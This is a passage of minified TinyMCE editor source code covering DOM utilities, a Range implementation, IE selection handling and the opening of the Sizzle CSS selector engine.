i.toHex(o)});if(j.url_converter){l=l.replace(/url\([\'\"]?([^\)\'\"]+)[\'\"]?\)/g,function(o,p){return"url("+j.url_converter.call(j.url_converter_scope||i,i.decode(p),"style",null)+")"})}k[c.trim(m[0]).toLowerCase()]=l}});f("border","","border");f("border","-width","border-width");f("border","-color","border-color");f("border","-style","border-style");f("padding","","padding");f("margin","","margin");g("border","border-width","border-style","border-color");if(a){if(k.border=="medium none"){k.border=""}}return k},serializeStyle:function(g){var f="";e(g,function(i,h){if(h&&i){if(c.isGecko&&h.indexOf("-moz-")===0){return}switch(h){case"color":case"background-color":i=i.toLowerCase();break}f+=(f?" ":"")+h+": "+i+";"}});return f},loadCSS:function(f){var h=this,i=h.doc,g;if(!f){f=""}g=h.select("head")[0];e(f.split(","),function(j){var k;if(h.files[j]){return}h.files[j]=true;k=h.create("link",{rel:"stylesheet",href:c._addVer(j)});if(a&&i.documentMode){k.onload=function(){i.recalc();k.onload=null}}g.appendChild(k)})},addClass:function(f,g){return this.run(f,function(h){var i;if(!g){return 0}if(this.hasClass(h,g)){return h.className}i=this.removeClass(h,g);return h.className=(i!=""?(i+" "):"")+g})},removeClass:function(h,i){var f=this,g;return f.run(h,function(k){var j;if(f.hasClass(k,i)){if(!g){g=new RegExp("(^|\\s+)"+i+"(\\s+|$)","g")}j=k.className.replace(g," ");return k.className=c.trim(j!=" "?j:"")}return k.className})},hasClass:function(g,f){g=this.get(g);if(!g||!f){return false}return(" "+g.className+" ").indexOf(" "+f+" ")!==-1},show:function(f){return this.setStyle(f,"display","block")},hide:function(f){return this.setStyle(f,"display","none")},isHidden:function(f){f=this.get(f);return !f||f.style.display=="none"||this.getStyle(f,"display")=="none"},uniqueId:function(f){return(!f?"mce_":f)+(this.counter++)},setHTML:function(i,g){var f=this;return this.run(i,function(m){var h,k,j,q,l,h;g=f.processHTML(g);if(a){function o(){try{m.innerHTML="<br />"+g;m.removeChild(m.firstChild)}catch(n){while(m.firstChild){m.firstChild.removeNode()}h=f.create("div");h.innerHTML="<br />"+g;e(h.childNodes,function(r,p){if(p){m.appendChild(r)}})}}if(f.settings.fix_ie_paragraphs){g=g.replace(/<p><\/p>|<p([^>]+)><\/p>|<p[^\/+]\/>/gi,'<p$1 mce_keep="true">&nbsp;</p>')}o();if(f.settings.fix_ie_paragraphs){j=m.getElementsByTagName("p");for(k=j.length-1,h=0;k>=0;k--){q=j[k];if(!q.hasChildNodes()){if(!q.mce_keep){h=1;break}q.removeAttribute("mce_keep")}}}if(h){g=g.replace(/<p ([^>]+)>|<p>/g,'<div $1 mce_tmp="1">');g=g.replace(/<\/p>/g,"</div>");o();if(f.settings.fix_ie_paragraphs){j=m.getElementsByTagName("DIV");for(k=j.length-1;k>=0;k--){q=j[k];if(q.mce_tmp){l=f.doc.createElement("p");q.cloneNode(false).outerHTML.replace(/([a-z0-9\-_]+)=/gi,function(p,n){var r;if(n!=="mce_tmp"){r=q.getAttribute(n);if(!r&&n==="class"){r=q.className}l.setAttribute(n,r)}});for(h=0;h<q.childNodes.length;h++){l.appendChild(q.childNodes[h].cloneNode(true))}q.swapNode(l)}}}}}else{m.innerHTML=g}return g})},processHTML:function(j){var g=this,i=g.settings;if(!i.process_html){return j}if(c.isGecko){j=j.replace(/<(\/?)strong>|<strong( [^>]+)>/gi,"<$1b$2>");j=j.replace(/<(\/?)em>|<em( [^>]+)>/gi,"<$1i$2>")}else{if(a){j=j.replace(/&apos;/g,"&#39;");j=j.replace(/\s+(disabled|checked|readonly|selected)\s*=\s*[\"\']?(false|0)[\"\']?/gi,"")}}j=j.replace(/<a( )([^>]+)\/>|<a\/>/gi,"<a$1$2></a>");if(i.keep_values){if(/<script|style/.test(j)){function f(h){h=h.replace(/(<!--\[CDATA\[|\]\]-->)/g,"\n");h=h.replace(/^[\r\n]*|[\r\n]*$/g,"");h=h.replace(/^\s*(\/\/\s*<!--|\/\/\s*<!\[CDATA\[|<!--|<!\[CDATA\[)[\r\n]*/g,"");h=h.replace(/\s*(\/\/\s*\]\]>|\/\/\s*-->|\]\]>|-->|\]\]-->)\s*$/g,"");return h}j=j.replace(/<script([^>]+|)>([\s\S]*?)<\/script>/g,function(h,l,k){if(!l){l=' type="text/javascript"'}l=l.replace(/(type|language)=\"?/,"$&mce-");l=l.replace(/src=\"([^\"]+)\"?/,function(m,n){if(i.url_converter){n=g.encode(i.url_converter.call(i.url_converter_scope||g,g.decode(n),"src","script"))}return'mce_src="'+n+'"'});if(c.trim(k)){k="<!--\n"+f(k)+"\n// -->"}return"<mce:script"+l+">"+k+"</mce:script>"});j=j.replace(/<style([^>]+|)>([\s\S]*?)<\/style>/g,function(h,l,k){if(k){k="<!--\n"+f(k)+"\n-->"}return"<mce:style"+l+">"+k+"</mce:style><style "+l+' mce_bogus="1">'+k+"</style>"})}j=j.replace(/<!\[CDATA\[([\s\S]+)\]\]>/g,"<!--[CDATA[$1]]-->");j=j.replace(/<([\w:]+) [^>]*(src|href|style|shape|coords)[^>]*>/gi,function(h,l){function k(o,n,q){var p=q;if(h.indexOf("mce_"+n)!=-1){return o}if(n=="style"){if(g._isRes(q)){return o}if(i.hex_colors){p=p.replace(/rgb\([^\)]+\)/g,function(m){return g.toHex(m)})}if(i.url_converter){p=p.replace(/url\([\'\"]?([^\)\'\"]+)\)/g,function(m,r){return"url("+g.encode(i.url_converter.call(i.url_converter_scope||g,g.decode(r),n,l))+")"})}}else{if(n!="coords"&&n!="shape"){if(i.url_converter){p=g.encode(i.url_converter.call(i.url_converter_scope||g,g.decode(q),n,l))}}}return" "+n+'="'+q+'" mce_'+n+'="'+p+'"'}h=h.replace(/ (src|href|style|coords|shape)=[\"]([^\"]+)[\"]/gi,k);h=h.replace(/ (src|href|style|coords|shape)=[\']([^\']+)[\']/gi,k);return h.replace(/ (src|href|style|coords|shape)=([^\s\"\'>]+)/gi,k)})}return j},getOuterHTML:function(f){var g;f=this.get(f);if(!f){return null}if(f.outerHTML!==undefined){return f.outerHTML}g=(f.ownerDocument||this.doc).createElement("body");g.appendChild(f.cloneNode(true));return g.innerHTML},setOuterHTML:function(i,g,j){var f=this;return this.run(i,function(h){var l,k;h=f.get(h);j=j||h.ownerDocument||f.doc;if(a&&h.nodeType==1){h.outerHTML=g}else{k=j.createElement("body");k.innerHTML=g;l=k.lastChild;while(l){f.insertAfter(l.cloneNode(true),h);l=l.previousSibling}f.remove(h)}})},decode:function(g){var h,i,f;if(/&[^;]+;/.test(g)){h=this.doc.createElement("div");h.innerHTML=g;i=h.firstChild;f="";if(i){do{f+=i.nodeValue}while(i.nextSibling)}return f||g}return g},encode:function(f){return f?(""+f).replace(/[<>&\"]/g,function(h,g){switch(h){case"&":return"&amp;";case'"':return"&quot;";case"<":return"&lt;";case">":return"&gt;"}return h}):f},insertAfter:function(h,g){var f=this;g=f.get(g);return this.run(h,function(k){var j,i;j=g.parentNode;i=g.nextSibling;if(i){j.insertBefore(k,i)}else{j.appendChild(k)}return k})},isBlock:function(f){if(f.nodeType&&f.nodeType!==1){return false}f=f.nodeName||f;return/^(H[1-6]|HR|P|DIV|ADDRESS|PRE|FORM|TABLE|LI|OL|UL|TR|TD|CAPTION|BLOCKQUOTE|CENTER|DL|DT|DD|DIR|FIELDSET|NOSCRIPT|NOFRAMES|MENU|ISINDEX|SAMP)$/.test(f)},replace:function(i,h,f){var g=this;if(b(h,"array")){i=i.cloneNode(true)}return g.run(h,function(j){if(f){e(j.childNodes,function(k){i.appendChild(k.cloneNode(true))})}if(g.fixPsuedoLeaks&&j.nodeType===1){j.parentNode.insertBefore(i,j);g.remove(j);return i}return j.parentNode.replaceChild(i,j)})},findCommonAncestor:function(h,f){var i=h,g;while(i){g=f;while(g&&i!=g){g=g.parentNode}if(i==g){break}i=i.parentNode}if(!i&&h.ownerDocument){return h.ownerDocument.documentElement}return i},toHex:function(f){var h=/^\s*rgb\s*?\(\s*?([0-9]+)\s*?,\s*?([0-9]+)\s*?,\s*?([0-9]+)\s*?\)\s*$/i.exec(f);function g(i){i=parseInt(i).toString(16);return i.length>1?i:"0"+i}if(h){f="#"+g(h[1])+g(h[2])+g(h[3]);return f}return f},getClasses:function(){var l=this,g=[],k,m={},n=l.settings.class_filter,j;if(l.classes){return l.classes}function o(f){e(f.imports,function(i){o(i)});e(f.cssRules||f.rules,function(i){switch(i.type||1){case 1:if(i.selectorText){e(i.selectorText.split(","),function(p){p=p.replace(/^\s*|\s*$|^\s\./g,"");if(/\.mce/.test(p)||!/\.[\w\-]+$/.test(p)){return}j=p;p=p.replace(/.*\.([a-z0-9_\-]+).*/i,"$1");if(n&&!(p=n(p,j))){return}if(!m[p]){g.push({"class":p});m[p]=1}})}break;case 3:o(i.styleSheet);break}})}try{e(l.doc.styleSheets,o)}catch(h){}if(g.length>0){l.classes=g}return g},run:function(j,i,h){var g=this,k;if(g.doc&&typeof(j)==="string"){j=g.get(j)}if(!j){return false}h=h||this;if(!j.nodeType&&(j.length||j.length===0)){k=[];e(j,function(l,f){if(l){if(typeof(l)=="string"){l=g.doc.getElementById(l)}k.push(i.call(h,l,f))}});return k}return i.call(h,j)},getAttribs:function(g){var f;g=this.get(g);if(!g){return[]}if(a){f=[];if(g.nodeName=="OBJECT"){return g.attributes}g.cloneNode(false).outerHTML.replace(/([a-z0-9\:\-_]+)=/gi,function(i,h){f.push({specified:1,nodeName:h})});return f}return g.attributes},destroy:function(g){var f=this;if(f.events){f.events.destroy()}f.win=f.doc=f.root=f.events=null;if(!g){c.removeUnload(f.destroy)}},createRng:function(){var f=this.doc;return f.createRange?f.createRange():new c.dom.Range(this)},split:function(l,k,o){var p=this,f=p.createRng(),m,j,n;function g(r,q){r=r[q];if(r&&r[q]&&r[q].nodeType==1&&i(r[q])){p.remove(r[q])}}function i(q){q=p.getOuterHTML(q);q=q.replace(/<(img|hr|table)/gi,"-");q=q.replace(/<[^>]+>/g,"");return q.replace(/[ \t\r\n]+|&nbsp;|&#160;/g,"")==""}function h(r){var q=0;while(r.previousSibling){q++;r=r.previousSibling}return q}if(l&&k){f.setStart(l.parentNode,h(l));f.setEnd(k.parentNode,h(k));m=f.extractContents();f=p.createRng();f.setStart(k.parentNode,h(k)+1);f.setEnd(l.parentNode,h(l)+1);j=f.extractContents();n=l.parentNode;g(m,"lastChild");if(!i(m)){n.insertBefore(m,l)}if(o){n.replaceChild(o,k)}else{n.insertBefore(k,l)}g(j,"firstChild");if(!i(j)){n.insertBefore(j,l)}p.remove(l);return o||k}},bind:function(j,f,i,h){var g=this;if(!g.events){g.events=new c.dom.EventUtils()}return g.events.add(j,f,i,h||this)},unbind:function(i,f,h){var g=this;if(!g.events){g.events=new c.dom.EventUtils()}return g.events.remove(i,f,h)},_isRes:function(f){return/^(top|left|bottom|right|width|height)/i.test(f)||/;\s*(top|left|bottom|right|width|height)/i.test(f)}});c.DOM=new c.dom.DOMUtils(document,{process_html:0})})(tinymce);(function(f){var h=0,c=1,e=2,d=tinymce.extend;function g(m,k){var j,l;if(m.parentNode!=k){return -1}for(l=k.firstChild,j=0;l!=m;l=l.nextSibling){j++}return j}function b(k){var j=0;while(k.previousSibling){j++;k=k.previousSibling}return j}function i(j,k){var l;if(j.nodeType==3){return j}if(k<0){return j}l=j.firstChild;while(l!=null&&k>0){--k;l=l.nextSibling}if(l!=null){return l}return j}function a(k){var j=k.doc;d(this,{dom:k,startContainer:j,startOffset:0,endContainer:j,endOffset:0,collapsed:true,commonAncestorContainer:j,START_TO_START:0,START_TO_END:1,END_TO_END:2,END_TO_START:3})}d(a.prototype,{setStart:function(k,j){this._setEndPoint(true,k,j)},setEnd:function(k,j){this._setEndPoint(false,k,j)},setStartBefore:function(j){this.setStart(j.parentNode,b(j))},setStartAfter:function(j){this.setStart(j.parentNode,b(j)+1)},setEndBefore:function(j){this.setEnd(j.parentNode,b(j))},setEndAfter:function(j){this.setEnd(j.parentNode,b(j)+1)},collapse:function(k){var j=this;if(k){j.endContainer=j.startContainer;j.endOffset=j.startOffset}else{j.startContainer=j.endContainer;j.startOffset=j.endOffset}j.collapsed=true},selectNode:function(j){this.setStartBefore(j);this.setEndAfter(j)},selectNodeContents:function(j){this.setStart(j,0);this.setEnd(j,j.nodeType===1?j.childNodes.length:j.nodeValue.length)},compareBoundaryPoints:function(m,n){var l=this,p=l.startContainer,o=l.startOffset,k=l.endContainer,j=l.endOffset;if(m===0){return l._compareBoundaryPoints(p,o,p,o)}if(m===1){return l._compareBoundaryPoints(p,o,k,j)}if(m===2){return l._compareBoundaryPoints(k,j,k,j)}if(m===3){return l._compareBoundaryPoints(k,j,p,o)}},deleteContents:function(){this._traverse(e)},extractContents:function(){return this._traverse(h)},cloneContents:function(){return this._traverse(c)},insertNode:function(m){var j=this,l,k;if(m.nodeType===3||m.nodeType===4){l=j.startContainer.splitText(j.startOffset);j.startContainer.parentNode.insertBefore(m,l)}else{if(j.startContainer.childNodes.length>0){k=j.startContainer.childNodes[j.startOffset]}j.startContainer.insertBefore(m,k)}},surroundContents:function(l){var j=this,k=j.extractContents();j.insertNode(l);l.appendChild(k);j.selectNode(l)},cloneRange:function(){var j=this;return d(new a(j.dom),{startContainer:j.startContainer,startOffset:j.startOffset,endContainer:j.endContainer,endOffset:j.endOffset,collapsed:j.collapsed,commonAncestorContainer:j.commonAncestorContainer})},_isCollapsed:function(){return(this.startContainer==this.endContainer&&this.startOffset==this.endOffset)},_compareBoundaryPoints:function(m,p,k,o){var q,l,j,r,t,s;if(m==k){if(p==o){return 0}else{if(p<o){return -1}else{return 1}}}q=k;while(q&&q.parentNode!=m){q=q.parentNode}if(q){l=0;j=m.firstChild;while(j!=q&&l<p){l++;j=j.nextSibling}if(p<=l){return -1}else{return 1}}q=m;while(q&&q.parentNode!=k){q=q.parentNode}if(q){l=0;j=k.firstChild;while(j!=q&&l<o){l++;j=j.nextSibling}if(l<o){return -1}else{return 1}}r=this.dom.findCommonAncestor(m,k);t=m;while(t&&t.parentNode!=r){t=t.parentNode}if(!t){t=r}s=k;while(s&&s.parentNode!=r){s=s.parentNode}if(!s){s=r}if(t==s){return 0}j=r.firstChild;while(j){if(j==t){return -1}if(j==s){return 1}j=j.nextSibling}},_setEndPoint:function(k,q,p){var l=this,j,m;if(k){l.startContainer=q;l.startOffset=p}else{l.endContainer=q;l.endOffset=p}j=l.endContainer;while(j.parentNode){j=j.parentNode}m=l.startContainer;while(m.parentNode){m=m.parentNode}if(m!=j){l.collapse(k)}else{if(l._compareBoundaryPoints(l.startContainer,l.startOffset,l.endContainer,l.endOffset)>0){l.collapse(k)}}l.collapsed=l._isCollapsed();l.commonAncestorContainer=l.dom.findCommonAncestor(l.startContainer,l.endContainer)},_traverse:function(r){var s=this,q,m=0,v=0,k,o,l,n,j,u;if(s.startContainer==s.endContainer){return s._traverseSameContainer(r)}for(q=s.endContainer,k=q.parentNode;k!=null;q=k,k=k.parentNode){if(k==s.startContainer){return s._traverseCommonStartContainer(q,r)}++m}for(q=s.startContainer,k=q.parentNode;k!=null;q=k,k=k.parentNode){if(k==s.endContainer){return s._traverseCommonEndContainer(q,r)}++v}o=v-m;l=s.startContainer;while(o>0){l=l.parentNode;o--}n=s.endContainer;while(o<0){n=n.parentNode;o++}for(j=l.parentNode,u=n.parentNode;j!=u;j=j.parentNode,u=u.parentNode){l=j;n=u}return s._traverseCommonAncestors(l,n,r)},_traverseSameContainer:function(o){var r=this,q,u,j,k,l,p,m;if(o!=e){q=r.dom.doc.createDocumentFragment()}if(r.startOffset==r.endOffset){return q}if(r.startContainer.nodeType==3){u=r.startContainer.nodeValue;j=u.substring(r.startOffset,r.endOffset);if(o!=c){r.startContainer.deleteData(r.startOffset,r.endOffset-r.startOffset);r.collapse(true)}if(o==e){return null}q.appendChild(r.dom.doc.createTextNode(j));return q}k=i(r.startContainer,r.startOffset);l=r.endOffset-r.startOffset;while(l>0){p=k.nextSibling;m=r._traverseFullySelected(k,o);if(q){q.appendChild(m)}--l;k=p}if(o!=c){r.collapse(true)}return q},_traverseCommonStartContainer:function(j,p){var s=this,r,k,l,m,q,o;if(p!=e){r=s.dom.doc.createDocumentFragment()}k=s._traverseRightBoundary(j,p);if(r){r.appendChild(k)}l=g(j,s.startContainer);m=l-s.startOffset;if(m<=0){if(p!=c){s.setEndBefore(j);s.collapse(false)}return r}k=j.previousSibling;while(m>0){q=k.previousSibling;o=s._traverseFullySelected(k,p);if(r){r.insertBefore(o,r.firstChild)}--m;k=q}if(p!=c){s.setEndBefore(j);s.collapse(false)}return r},_traverseCommonEndContainer:function(m,p){var s=this,r,o,j,k,q,l;if(p!=e){r=s.dom.doc.createDocumentFragment()}j=s._traverseLeftBoundary(m,p);if(r){r.appendChild(j)}o=g(m,s.endContainer);++o;k=s.endOffset-o;j=m.nextSibling;while(k>0){q=j.nextSibling;l=s._traverseFullySelected(j,p);if(r){r.appendChild(l)}--k;j=q}if(p!=c){s.setStartAfter(m);s.collapse(true)}return r},_traverseCommonAncestors:function(p,j,s){var w=this,l,v,o,q,r,k,u,m;if(s!=e){v=w.dom.doc.createDocumentFragment()}l=w._traverseLeftBoundary(p,s);if(v){v.appendChild(l)}o=p.parentNode;q=g(p,o);r=g(j,o);++q;k=r-q;u=p.nextSibling;while(k>0){m=u.nextSibling;l=w._traverseFullySelected(u,s);if(v){v.appendChild(l)}u=m;--k}l=w._traverseRightBoundary(j,s);if(v){v.appendChild(l)}if(s!=c){w.setStartAfter(p);w.collapse(true)}return v},_traverseRightBoundary:function(p,q){var s=this,l=i(s.endContainer,s.endOffset-1),r,o,n,j,k;var m=l!=s.endContainer;if(l==p){return s._traverseNode(l,m,false,q)}r=l.parentNode;o=s._traverseNode(r,false,false,q);while(r!=null){while(l!=null){n=l.previousSibling;j=s._traverseNode(l,m,false,q);if(q!=e){o.insertBefore(j,o.firstChild)}m=true;l=n}if(r==p){return o}l=r.previousSibling;r=r.parentNode;k=s._traverseNode(r,false,false,q);if(q!=e){k.appendChild(o)}o=k}return null},_traverseLeftBoundary:function(p,q){var s=this,m=i(s.startContainer,s.startOffset);var n=m!=s.startContainer,r,o,l,j,k;if(m==p){return s._traverseNode(m,n,true,q)}r=m.parentNode;o=s._traverseNode(r,false,true,q);while(r!=null){while(m!=null){l=m.nextSibling;j=s._traverseNode(m,n,true,q);if(q!=e){o.appendChild(j)}n=true;m=l}if(r==p){return o}m=r.nextSibling;r=r.parentNode;k=s._traverseNode(r,false,true,q);if(q!=e){k.appendChild(o)}o=k}return null},_traverseNode:function(j,o,r,s){var u=this,m,l,p,k,q;if(o){return u._traverseFullySelected(j,s)}if(j.nodeType==3){m=j.nodeValue;if(r){k=u.startOffset;l=m.substring(k);p=m.substring(0,k)}else{k=u.endOffset;l=m.substring(0,k);p=m.substring(k)}if(s!=c){j.nodeValue=p}if(s==e){return null}q=j.cloneNode(false);q.nodeValue=l;return q}if(s==e){return null}return j.cloneNode(false)},_traverseFullySelected:function(l,k){var j=this;if(k!=e){return k==c?l.cloneNode(true):l}l.parentNode.removeChild(l);return null}});f.Range=a})(tinymce.dom);(function(){function a(e){var d=this,h="\uFEFF",b,g;function c(j,i){if(j&&i){if(j.item&&i.item&&j.item(0)===i.item(0)){return 1}if(j.isEqual&&i.isEqual&&i.isEqual(j)){return 1}}return 0}function f(){var m=e.dom,j=e.getRng(),s=m.createRng(),p,k,n,q,o,l;function i(v){var t=v.parentNode.childNodes,u;for(u=t.length-1;u>=0;u--){if(t[u]==v){return u}}return -1}function r(v){var t=j.duplicate(),B,y,u,w,x=0,z=0,A,C;t.collapse(v);B=t.parentElement();t.pasteHTML(h);u=B.childNodes;for(y=0;y<u.length;y++){w=u[y];if(y>0&&(w.nodeType!==3||u[y-1].nodeType!==3)){z++}if(w.nodeType===3){A=w.nodeValue.indexOf(h);if(A!==-1){x+=A;break}x+=w.nodeValue.length}else{x=0}}t.moveStart("character",-1);t.text="";return{index:z,offset:x,parent:B}}n=j.item?j.item(0):j.parentElement();if(n.ownerDocument!=m.doc){return s}if(j.item||!n.hasChildNodes()){s.setStart(n.parentNode,i(n));s.setEnd(s.startContainer,s.startOffset+1);return s}l=e.isCollapsed();p=r(true);k=r(false);p.parent.normalize();k.parent.normalize();q=p.parent.childNodes[Math.min(p.index,p.parent.childNodes.length-1)];if(q.nodeType!=3){s.setStart(p.parent,p.index)}else{s.setStart(p.parent.childNodes[p.index],p.offset)}o=k.parent.childNodes[Math.min(k.index,k.parent.childNodes.length-1)];if(o.nodeType!=3){if(!l){k.index++}s.setEnd(k.parent,k.index)}else{s.setEnd(k.parent.childNodes[k.index],k.offset)}if(!l){q=s.startContainer;if(q.nodeType==1){s.setStart(q,Math.min(s.startOffset,q.childNodes.length))}o=s.endContainer;if(o.nodeType==1){s.setEnd(o,Math.min(s.endOffset,o.childNodes.length))}}d.addRange(s);return s}this.addRange=function(j){var o,m=e.dom.doc.body,p,k,q,l,n,i;q=j.startContainer;l=j.startOffset;n=j.endContainer;i=j.endOffset;o=m.createTextRange();q=q.nodeType==1?q.childNodes[Math.min(l,q.childNodes.length-1)]:q;n=n.nodeType==1?n.childNodes[Math.min(l==i?i:i-1,n.childNodes.length-1)]:n;if(q==n&&q.nodeType==1){if(/^(IMG|TABLE)$/.test(q.nodeName)&&l!=i){o=m.createControlRange();o.addElement(q)}else{o=m.createTextRange();if(!q.hasChildNodes()&&q.canHaveHTML){q.innerHTML=h}o.moveToElementText(q);if(q.innerHTML==h){o.collapse(true);q.removeChild(q.firstChild)}}if(l==i){o.collapse(i<=j.endContainer.childNodes.length-1)}o.select();return}function r(t,v){var u,s,w;if(t.nodeType!=3){return -1}u=t.nodeValue;s=m.createTextRange();t.nodeValue=u.substring(0,v)+h+u.substring(v);s.moveToElementText(t.parentNode);s.findText(h);w=Math.abs(s.moveStart("character",-1048575));t.nodeValue=u;return w}if(j.collapsed){pos=r(q,l);o=m.createTextRange();o.move("character",pos);o.select();return}else{if(q==n&&q.nodeType==3){p=r(q,l);o.move("character",p);o.moveEnd("character",i-l);o.select();return}p=r(q,l);k=r(n,i);o=m.createTextRange();if(p==-1){o.moveToElementText(q);p=0}else{o.move("character",p)}tmpRng=m.createTextRange();if(k==-1){tmpRng.moveToElementText(n)}else{tmpRng.move("character",k)}o.setEndPoint("EndToEnd",tmpRng);o.select();return}};this.getRangeAt=function(){if(!b||!c(g,e.getRng())){b=f();g=e.getRng()}return b};this.destroy=function(){g=b=null}}tinymce.dom.TridentSelection=a})();(function(){var p=/((?:\((?:\([^()]+\)|[^()]+)+\)|\[(?:\[[^[\]]*\]|['"][^'"]*['"]|[^[\]'"]+)+\]|\\.|[^ >+~,(\[\\]+)+|[>+~])(\s*,\s*)?/g,i=0,d=Object.prototype.toString,n=false;var b=function(D,t,A,v){A=A||[];var e=t=t||document;if(t.nodeType!==1&&t.nodeType!==9){return[]}if(!D||typeof D!=="string"){return A}var B=[],C,y,G,F,z,s,r=true,w=o(t);p.lastIndex=0;while((C=p.exec(D))!==null){B.push(C[1]);if(C[2]){s=RegExp.rightContext;break}}if(B.length>1&&j.exec(D)){if(B.length===2&&f.relative[B[0]]){y=g(B[0]+B[1],t)}else{y=f.relative[B[0]]?[t]:b(B.shift(),t);while(B.length){D=B.shift();if(f.relative[D]){D+=B.shift()}y=g(D,y)}}}else{if(!v&&B.length>1&&t.nodeType===9&&!w&&f.match.ID.test(B[0])&&!f.match.ID.test(B[B.length-1])){var H=b.find(B.shift(),t,w);t=H.expr?b.filter(H.expr,H.set)[0]:H.set[0]}if(t){var H=v?{expr:B.pop(),set:a(v)}:b.find(B.pop(),B.length===1&&(B[0]==="~"||B[0]==="+")&&t.parentNode?t.parentNode:t,w);y=H.expr?b.filter(H.expr,H.set):H.set;if(B.length>0){G=a(y)}else{r=false}while(B.length){var u=B.pop(),x=u;if(!f.relative[u]){u=""}else{x=B.pop()}if(x==null){x=t}f.relative[u](G,x,w)}}else{G=B=[]}}if(!G){G=y}if(!G){throw"Syntax error, unrecognized expression: "+(u||D)}if(d.call(G)==="[object Array]"){if(!r){A.push.apply(A,G)}else{if(t&&t.nodeType===1){for(var E=0;G[E]!=null;E++){if(G[E]&&(G[E]===true||G[E].nodeType===1&&h(t,G[E]))){A.push(y[E])}}}else{for(var E=0;G[E]!=null;E++){if(G[E]&&G[E].nodeType===1){A.push(y[E])}}}}}else{a(G,A)}if(s){b(s,e,A,v);b.uniqueSort(A)}return A};b.uniqueSort=function(r){if(c){n=false;r.sort(c);if(n){for(var e=1;e<r.length;e++){if(r[e]===r[e-1]){r.splice(e--,1)}}}}};b.matches=function(e,r){return b(e,null,null,r)};b.find=function(x,e,y){var w,u;if(!x){return[]}for(var t=0,s=f.order.length;t<s;t++){var v=f.order[t],u;if((u=f.match[v].exec(x))){var r=RegExp.leftContext;if(r.substr(r.length-1)!=="\\"){u[1]=(u[1]||"").replace(/\\/g,"");w=f.find[v](u,e,y);if(w!=null){x=x.replace(f.match[v],"");break}}}}if(!w){w=e.getElementsByTagName("*")}return{set:w,expr:x}};b.filter=function(A,z,D,t){var s=A,F=[],x=z,v,e,w=z&&z[0]&&o(z[0]);while(A&&z.length){for(var y in f.filter){if((v=f.match[y].exec(A))!=null){var r=f.filter[y],E,C;e=false;if(x==F){F=[]}if(f.preFilter[y]){v=f.preFilter[y](v,x,D,F,t,w);if(!v){e=E=true}else{if(v===true){continue}}}if(v){for(var u=0;(C=x[u])!=null;u++){if(C){E=r(C,v,u,x);var B=t^!!E;if(D&&E!=null){if(B){e=true}else{x[u]=false}}else{if(B){F.push(C);e=true}}}}}if(E!==undefined){if(!D){x=F}A=A.replace(f.match[y],"");if(!e){return[]}break}}}if(A==s){if(e==null){throw"Syntax error, unrecognized expression: "+A}else{break}}s=A}return x};var f=b.selectors={order:["ID","NAME","TAG"],match:{ID:/#((?:[\w\u00c0-\uFFFF_-]|\\.)+)/,CLASS:/\.((?:[\w\u00c0-\uFFFF_-]|\\.)+)/,NAME:/\[name=['"]*((?:[\w\u00c0-\uFFFF_-]|\\.)+)['"]*\]/,ATTR:/\[\s*((?:[\w\u00c0-\uFFFF_-]|\\.)+)\s*(?:(\S?=)\s*(['"]*)(.*?)\3|)\s*\]/,TAG:/^((?:[\w\u00c0-\uFFFF\*_-]|\\.)+)/,CHILD:/:(only|nth|last|first)-child(?:\((even|odd|[\dn+-]*)\))?/,POS:/:(nth|eq|gt|lt|first|last|even|odd)(?:\((\d*)\))?(?=[^-]|$)/,PSEUDO:/:((?:[\w\u00c0-\uFFFF_-]|\\.)+)(?:\((['"]*)((?:\([^\)]+\)|[^\2\(\)]*)+)\2\))?/},attrMap:{"class":"className","for":"htmlFor"},attrHandle:{href:function(e){return e.getAttribute("href")}},relative:{"+":function(x,e,w){var u=typeof e==="string",y=u&&!/\W/.test(e),v=u&&!y;if(y&&!w){e=e.toUpperCase()}for(var t=0,s=x.length,r;t<s;t++){if((r=x[t])){while((r=r.previousSibling)&&r.nodeType!==1){}x[t]=v||r&&r.nodeName===e?r||false:r===e}}if(v){b.filter(e,x,true)}},">":function(w,r,x){var u=typeof r==="string";if(u&&!/\W/.test(r)){r=x?r:r.toUpperCase();for(var s=0,e=w.length;s<e;s++){var v=w[s];if(v){var t=v.parentNode;w[s]=t.nodeName===r?t:false}}}else{for(var s=0,e=w.length;s<e;s++){var v=w[s];if(v){w[s]=u?v.parentNode:v.parentNode===r}}if(u){b.filter(r,w,true)}}},"":function(t,r,v){var s=i++,e=q;if(!r.match(/\W/)){var u=r=v?r:r.toUpperCase();e=m}e("parentNode",r,s,t,u,v)},"~":function(t,r,v){var s=i++,e=q;if(typeof r==="string"&&!r.match(/\W/)){var u=r=v?r:r.toUpperCase();e=m}e("previousSibling",r,s,t,u,v)}},find:{ID:function(r,s,t){if(typeof s.getElementById!=="undefined"&&!t){var e=s.getElementById(r[1]);return e?[e]:[]}},NAME:function(s,v,w){if(typeof v.getElementsByName!=="undefined"){var r=[],u=v.getElementsByName(s[1]);for(var t=0,e=u.length;t<e;t++){if(u[t].getAttribute("name")===s[1]){r.push(u[t])}}return r.length===0?null:r}},TAG:function(e,r){return r.getElementsByTagName(e[1])}},preFilter:{CLASS:function(t,r,s,e,w,x){t=" "+t[1].replace(/\\/g,"")+" ";if(x){return t}for(var u=0,v;(v=r[u])!=null;u++){if(v){if(w^(v.className&&(" "+v.className+" ").indexOf(t)>=0)){if(!s){e.push(v)}}else{if(s){r[u]=false}}}}return false},ID:function(e){return e[1].replace(/\\/g,"")},TAG:function(r,e){for(var s=0;e[s]===false;s++){}return e[s]&&o(e[s])?r[1]:r[1].toUpperCase()},CHILD:function(e){if(e[1]=="nth"){var r=/(-?)(\d*)n((?:\+|-)?\d*)/.exec(e[2]=="even"&&"2n"||e[2]=="odd"&&"2n+1"||!/\D/.test(e[2])&&"0n+"+e[2]||e[2]);e[2]=(r[1]+(r[2]||1))-0;e[3]=r[3]-0}e[0]=i++;return e},ATTR:function(u,r,s,e,v,w){var t=u[1].replace(/\\/g,"");if(!w&&f.attrMap[t]){u[1]=f.attrMap[t]}if(u[2]==="~="){u[4]=" "+u[4]+" "}return u},PSEUDO:function(u,r,s,e,v){if(u[1]==="not"){if(u[3].match(p).length>1||/^\w/.test(u[3])){u[3]=b(u[3],null,null,r)}else{var t=b.filter(u[3],r,s,true^v);if(!s){e.push.apply(e,t)}return false}}else{if(f.match.POS.test(u[0])||f.match.CHILD.test(u[0])){return true}}return u},POS:function(e){e.unshift(true);return e}},filters:{enabled:function(e){return e.disabled===false&&e.type!=="hidden"},disabled:function(e){return e.disabled===true},checked:function(e){return e.checked===true},selected:function(e){e.parentNode.selectedIndex;return e.selected===true},parent:function(e){return !!e.firstChild},empty:function(e){return !e.firstChild},has:function(s,r,e){return 